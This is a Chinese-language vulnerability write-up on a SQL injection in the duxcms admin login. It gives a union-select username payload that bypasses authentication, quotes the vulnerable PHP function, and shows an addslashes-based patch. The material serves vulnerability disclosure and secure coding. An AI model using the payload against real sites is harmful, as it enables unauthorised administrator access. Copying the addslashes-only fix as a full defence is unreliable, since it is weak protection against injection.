目录
1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考
1. 漏洞描述
duxcms是一款采用PHP开发,基于HMVC规则开发适合中小企业、公司、新闻、个人等相关行业的网站内容管理,它的后台登录处存在sql注入,黑客可通过这个漏洞获取管理员密码、直接任意用户登录后台等攻击
Relevant Link:
http://www.wooyun.org/bugs/wooyun-2010-063055
2. 漏洞触发条件
1. 用户名 -1" union select 1,2,3,'c4ca4238a0b923820dcc509a6f75849b',5,6,7,8,9,10,11# /* 这里的md5就是数字1的md5 */ 2. 密码: 1
3. 漏洞影响范围
4. 漏洞代码分析
/admin/module/loginMod.class.php
//登陆检测 public function check() { if(empty($_POST['user']) || empty($_POST['password'])) { $this->msg('帐号信息输入错误!',0); } //获取帐号信息 /* 这里是漏洞关键,程序未对用户的输入进行正确的过滤、转义 */ $info = model('login')->user_info($_POST['user']); //进行帐号验证 if(empty($info)) { $this->msg('登录失败! 无此管理员帐号!',0); } if($info['password'] <> md5($_POST['password'])) { $this->msg('登录失败! 密码错误!',0); } if($info['status']==0) { $this->msg('登录失败! 帐号已禁用!',0); } //更新帐号信息 $data['logintime']=time(); $data['ip']=get_client_ip(); $data['loginnum']=intval($info['loginnum'])+1; model('login')->edit($data,intval($info['id'])); //更新登录记录 model('log')->login_log($info); //设置登录信息 $_SESSION[$this->config['SPOT'].'_user']=$info['id']; model('user')->current_user(false); $this->msg('登录成功!',1); }
5. 防御方法
/admin/module/loginMod.class.php
//登陆检测 public function check() { if(empty($_POST['user']) || empty($_POST['password'])) { $this->msg('帐号信息输入错误!',0); } //sql注入防御 $_POST['user'] = addslashes($_POST['user']); $_POST['password'] = addslashes($_POST['password']); //获取帐号信息 /* 这里是漏洞关键,程序未对用户的输入进行正确的过滤、转义 */ $info = model('login')->user_info($_POST['user']); //进行帐号验证 if(empty($info)) { $this->msg('登录失败! 无此管理员帐号!',0); } if($info['password'] <> md5($_POST['password'])) { $this->msg('登录失败! 密码错误!',0); } if($info['status']==0) { $this->msg('登录失败! 帐号已禁用!',0); } //更新帐号信息 $data['logintime']=time(); $data['ip']=get_client_ip(); $data['loginnum']=intval($info['loginnum'])+1; model('login')->edit($data,intval($info['id'])); //更新登录记录 model('log')->login_log($info); //设置登录信息 $_SESSION[$this->config['SPOT'].'_user']=$info['id']; model('user')->current_user(false); $this->msg('登录成功!',1); }
6. 攻防思考
Copyright (c) 2014 LittleHann All rights reserved